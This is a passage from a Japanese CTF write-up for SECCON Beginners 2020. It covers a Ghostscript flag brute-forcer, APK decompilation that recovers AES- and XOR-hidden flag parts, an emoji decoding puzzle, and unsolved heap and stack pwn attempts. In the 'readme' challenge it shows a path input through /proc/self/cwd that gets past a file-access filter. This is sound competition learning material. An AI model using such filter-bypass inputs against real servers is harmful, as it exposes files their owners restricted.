  • How to Use Ghostscript を見るとgsコマンドを使うらしい
  • WSLで入力してみたらインストール済みだった:
$ gs
GPL Ghostscript 9.26 (2018-11-20)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>
  • chall.gsを実行してみると、各文字、各桁ごとに何か変換された数値を出力するらしい:
$ gs -q chall.gs
AAA
25869 29907 44954
$ gs -q chall.gs
AAAAAA
25869 29907 44954 36743 8087 7056
  • 先頭から1文字ずつ確定できそうなのでソルバーを書く:
#!/usr/bin/env python3

import sys
import subprocess

# output.txtの内容
output = [3417, 61039, 39615, 14756, 10315, 49836, 44840, 20086, 18149, 31454, 35718, 44949, 4715, 22725, 62312, 18726, 47196, 54518, 2667, 44346, 55284, 5240, 32181, 61722, 6447, 38218, 6033, 32270, 51128, 6112, 22332, 60338, 14994, 44529, 25059, 61829, 52094]

def check(input):
    # python3.7からは capture_output パラメーターがありますが、今使ってるのは3.6.9です……
    p = subprocess.run(f"echo '{input}' | gs -q ./chall.gs", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    # print(p)
    # print(p.stdout)
    out_str = p.stdout.decode("utf-8")
    arr = list(map(int, out_str.rstrip().split(" ")))
    return output[0:len(arr)] == arr

chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}-_!?"
result = "ctf4b{"
while len(result) < len(output):
    for c in chars:
        result += c
        if check(result):
            print(result)
            break
        result = result[:-1]
    else:
        print("What?")
        sys.exit()
  • 実行する、サブプロセスを起動しまくっているので1文字確定までに5秒10秒かかるのでしばらく待つ
  • フラグが出てきた: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!} (全然Reversingしてなくて申し訳無さがある)

[Reversing Medium] siblangs

Well, they look so similar... siblangs.apk
  • apkの実体はzipなので、適当なソフトで展開した
  • 展開した中にclasses.dexがあるのでpxb1988/dex2jarを使ってjarに変換した
  • jarをJava Decompiler使って中身を見る
  • 中を見ているとes.o0i.challengeapp.nativemodule.ValidateFlagModuleに怪しい処理が見える:
public class ValidateFlagModule extends ReactContextBaseJavaModule {
  // snip
  private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
  // snip
  public void validate(String paramString, Callback paramCallback) {
    byte[] arrayOfByte = new byte[43];
    arrayOfByte[0] = 95;
    // snip
    arrayOfByte[42] = 30;
    try {
      Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
      GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12);
      cipher.init(2, this.secretKey, gCMParameterSpec);
      arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12);
      byte[] arrayOfByte1 = paramString.getBytes();
      for (int i = 0;; i++) {
        if (i < arrayOfByte.length) {
          if (arrayOfByte1[i + 22] != arrayOfByte[i]) {
            paramCallback.invoke(new Object[] { Boolean.valueOf(false) });
            return;
          }
        } else {
          paramCallback.invoke(new Object[] { Boolean.valueOf(true) });
          return;
        }
      }
    } catch (Exception exception) {
      paramCallback.invoke(new Object[] { Boolean.valueOf(false) });
      return;
    }
  }
}
  • ローカル変数は何か色々変換しているがparamString引数はgetBytes()しているだけなので、ローカル変数の処理部分だけを抜き出して実行してみる:
import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class Main{
    static final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
    public static void main(String[] args){
        byte[] encBytes = new byte[43];
        encBytes[0] = 95;
        encBytes[1] = -59;
        encBytes[2] = -20;
        encBytes[3] = -93;
        encBytes[4] = -70;
        encBytes[5] = 0;
        encBytes[6] = -32;
        encBytes[7] = -93;
        encBytes[8] = -23;
        encBytes[9] = 63;
        encBytes[10] = -9;
        encBytes[11] = 60;
        encBytes[12] = 86;
        encBytes[13] = 123;
        encBytes[14] = -61;
        encBytes[15] = -8;
        encBytes[16] = 17;
        encBytes[17] = -113;
        encBytes[18] = -106;
        encBytes[19] = 28;
        encBytes[20] = 99;
        encBytes[21] = -72;
        encBytes[22] = -3;
        encBytes[23] = 1;
        encBytes[24] = -41;
        encBytes[25] = -123;
        encBytes[26] = 17;
        encBytes[27] = 93;
        encBytes[28] = -36;
        encBytes[29] = 45;
        encBytes[30] = 18;
        encBytes[31] = 71;
        encBytes[32] = 61;
        encBytes[33] = 70;
        encBytes[34] = -117;
        encBytes[35] = -55;
        encBytes[36] = 107;
        encBytes[37] = -75;
        encBytes[38] = -89;
        encBytes[39] = 3;
        encBytes[40] = 94;
        encBytes[41] = -71;
        encBytes[42] = 30;
        try {
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, encBytes, 0, 12);
            cipher.init(2, secretKey, gCMParameterSpec);
            encBytes = cipher.doFinal(encBytes, 12, encBytes.length - 12);

            for (int i = 0; i < encBytes.length; i++){
                System.out.print((char)encBytes[i]);
            }
            System.out.println();
        }
        catch (Exception exception) {
            System.out.println(exception.toString());
        }
    }
}
  • 実行してみる
$ javac Main.java
$ java Main
1pt_3verywhere}
  • 1pt_3verywhere} という文字列を得られた、しかしReactContextBaseJavaModuleの処理を見るに、これはフラグの22文字目以降だけらしい
  • 他の場所にフラグっぽい文字列やctf4bが存在するかgrep等してみるが見つからない
  • APKの逆コンパイル系統でググっていると CTF Android問に強くなる - ごちうさ民の覚え書き にてunzipではAndroidManifestファイルが見れないのでそういうときはapktoolを使うようにしていますとの言及を見つける
  • apktoolを導入して、それを使って.apkを展開してみた
  • find . -exec grep -n "ctf4b" {} /dev/null 2>/dev/null \;してみると、今度は./assets/index.android.bundle:396:にて長い1行が見つかる
  • その長い1行を改行やインデントを加工して頑張って見やすくする:
__d(function(g,r,i,a,m,e,d)
    {
    var t=r(d[0]),o=r(d[1]);
Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;
var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10]));
function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;
if(Reflect.construct.sham)return!1;
if("function"==typeof Proxy)return!0;
try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t)
{(0,c.default)(v,t);
var o,y=(o=v,function(){var t,l=(0,s.default)(o);
                        if(V()){var n=(0,s.default)(this).constructor;
                                t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments);
                        return(0,u.default)(this,t)});
function v(){var t;
(0,l.default)(this,v);
for(var o=arguments.length,n=new Array(o),c=0;
c<o;
c++)n[c]=arguments[c];
return
             (t=y.call.apply(y,[this].concat(n))).state=
             {flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},
             t.handleFlagChange=function(o){t.setState({flagVal:o})},
             t.onPressValidateFirstHalf=function(){
                 if("ios"===h.Platform.OS) {
                     for(var o="AKeyFor"+h.Platform.OS+"10.3",
                             l=t.state.flagVal,
                             n=0;
                         n<t.state.xored.length;
                         n++)
                         if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))
                             return void h.Alert.alert("Validation A Failed","Try again...");
                     h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")}
                 else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")},
             t.onPressValidateLastHalf=function(){
                 "android"===h.Platform.OS?
                     p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}):
                 h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")},
             t}
(snip)
  • if("ios"===h.Platform.OS)の箇所でxorしているのが見えるので復号してみる:
#!/usr/bin/env python3

xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
o = "AKeyFor"+"ios"+"10.3"

for i in range(len(xored)):
    print(chr(ord(o[i%len(o)]) ^ xored[i]), end="")
print()
  • 実行すると ctf4b{jav4_and_j4va5cr を得る
  • ここで見つけたコードはonPressValidateFirstHalfというコールバック内部なので先頭の方と予想する、またonPressValidateLastHalfの方のコールバックではvalidateが呼ばれているので最初に見たjavaコードが呼ばれると予想する
  • 見つかった2つの断片を結合してフラグゲット: ctf4b{jav4_and_j4va5cr1pt_3verywhere} (問題名を最初はsiblingsと誤読していました、siblangsだったんですねなるほど)

[Misc Beginner] Welcome

Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
  • ルールのページDiscord (https://discord.gg/qG3JxFw)の記載があったのでアクセスする
  • announcementチャンネルにフラグが書かれていた:
xrekkusu Yesterday at 2:01 PM
競技開始しました!Welcome問題のフラグはこちらになります: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

[Misc Easy] emoemoencode

Do you know emo-emo-encode?
emoemoencode.txt
  • emoemoencode.txtをDLしてみると、絵文字だらけのテキストだった:
$ file emoemoencode.txt
emoemoencode.txt: UTF-8 Unicode text
$ cat emoemoencode.txt
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
  • 各文字のUnicode Scalarか文字名あたりがフラグになっていそうと検討をつける
  • ググってヒットした Unicode - Compart を使って各文字を調べた:
🍣: U+1F363 SUSHI
🍴: U+1F374 Fork and Knife
🍦: U+1F366 Soft Ice Cream
🌴: U+1F334 Palm Tree
🍢: U+1F362 Oden
🍻: U+1F37B Clinking Beer Mugs
🍳: U+1F373 Cooking
🍴: U+1F374 Fork and Knife
🍥: U+1F365 Fish Cake with Swirl Design
🍧: U+1F367 Shaved Ice(ここでUnicode Scalarの下位1byteがASCIIに対応していることに気づく)
🍡: U+1F361
🍮: U+1F36E
🌰: U+1F330
🍧: U+1F367
🍲: U+1F372
🍡: U+1F361
🍰: U+1F370
🍨: U+1F368
🍹: U+1F379
🍟: U+1F35F
🍢: U+1F362
🍹: U+1F379
🍟: U+1F35F
🍥: U+1F365
🍭: U+1F36D
🌰: U+1F330
🌰: U+1F330
🌰: U+1F330
🌰: U+1F330
🌰: U+1F330
🌰: U+1F330
🍪: U+1F36A
🍩: U+1F369
🍽: U+1F37D
  • 各文字下位2文字をテキストエディタの矩形選択で抜き出して、ASCII文字に変換するコードを書いた:
#!/usr/bin/env python3
for c in [0x63,0x74,0x66,0x34,0x62,0x7B,0x73,0x74,0x65,0x67,0x61,0x6E,0x30,0x67,0x72,0x61,0x70,0x68,0x79,0x5F,0x62,0x79,0x5F,0x65,0x6D,0x30,0x30,0x30,0x30,0x30,0x30,0x6A,0x69,0x7D,]:
    print(chr(c), end="")
print()
  • 実行してフラグゲット: ctf4b{stegan0graphy_by_em000000ji}
  • 終了後に for c in "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽": print(chr(0xFF&ord(c)), end="") だけでフラグが取れると教えてもらった、非ASCIIに対してもordchrは問題なく使える

[Misc Easy] readme

readme
nc readme.quals.beginners.seccon.jp 9712
  • 問題文中のリンクからzipをDLして展開するとserver.pyが入っていた:
#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")
  • ncで接続してみるとこれがまさに動いているらしい
  • if 'ctf' in path:の判定が厳しい、これをどうにか迂回したい
  • 入力文字にNUL文字を含めて入力してみるがPython側でValueError: embedded null byte
  • 入力文字にx\bを含めて入力してみるがFileNotFound
  • /~/flag を入力してもFileNotFound
  • 環境変数を使えるか、もしくは各ユーザーhome以下へのシンボリックリンクがあるかググる
  • symlink - Is there a standard symbolic link to the current users home directory? - Unix & Linux Stack Exchange を見つける、/proc/self/cwd/というものがあるらしい
  • /proc/self/cwd/flagを入力したがFileNotFound
  • /proc/self/cwd/../flagを入力すればフラグをゲットできた: ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
  • (/proc/self/environを入力すればPWD=/home/ctf/serverからCWDが分かると後になって知った)

取り組んだが解けなかった問題

[Pwn Easy] Beginner's Heap

Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002
  • この問題ではバイナリやソースをDLできない
  • 実行してみると Beginner's Stack 問題と同様に丁寧な図示をしてくれた(解けなかったので内容略)
  • 説明によると __free_hook のアドレスを win 関数のアドレスで置き換えてやれば良さそうに思える
  • ただヒープの知識が乏しく __free_hook をどうすればいいのか分からなかった

[Pwn Easy] Elementary Stack

Do you really understand stack?
nc es.quals.beginners.seccon.jp 9003
  • 文中のリンクを踏むとzipファイルをDLできて、展開するとmain.c, libc-2.27.soが入っていた
  • 要約: mainのローカル変数 unsigned long x[8] について、任意のi, vx[i]=v が出来る問題
  • ただしmain関数は無限ループでありreturnしない、そのためmainのreturn addressを書き換えても無意味
  • 文字入力用の char *buffer の値をスタックアドレスに書き換えられたら、文字入力関数のreturn addressを改ざんできるかなあ、などと考えていた
  • ただreturn addressをどこにすればいいのか分からないまま終了

[Reversing Hard] sneaky

Rumor has it that there's a hidden easter egg which can be activated by getting high score in this game......
  • 文中のリンクを踏むとzipファイルをDLできて、展開するとsneakyファイルが入っていた
  • 実行してみるとスネークゲームだった、普通に遊んでみると10回餌をとった後に壁に激突してGameOver
  • バイナリ詳細を調べてみる:
$ file sneaky
sneaky: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=ef4c67ba5146f36226a06e9984f8ee4c5f31f7ee, stripped
  • スタティックリンクかつstrippedなので、IDAで開いても関数いっぱいだし名前は全然ついていない
  • しばらくIDAで格闘する
  • ライブラリ内部の方は、assert失敗時らしき文字列から関数名がわかったりはした
  • その他、ターミナル制御用(ncurse?)と思われし文字列リテラルが多数見つかったりもした
  • しかしeaster eggらしき処理が全くわからない、環境変数かコマンドライン引数か特定キー操作か別のなにかも全くわからない
  • 挫折する
  • 他の方のwriteupを見ていて気づく、もろ問題文中にwhich can be activated by getting high score in this gameと書かれていた、完全に見逃していた……

感想

  • 夜ご飯を食べる時間、夜寝る時間を除けばずっと取り組んでいました。取り組める余地があるのは楽しい。
  • Pwn問題の図示が丁寧で凄い。
  • 苦労した問題でAC取れた時は感激しました。今回は特にNoisy equations, siblangs, readmeが該当します。
  • 典型的な問題であっても知らない場合があるので、初心者向けコンテストはとてもありがたいです。
  • writeupを書くのは大変、今回は6時間ほどかかりました。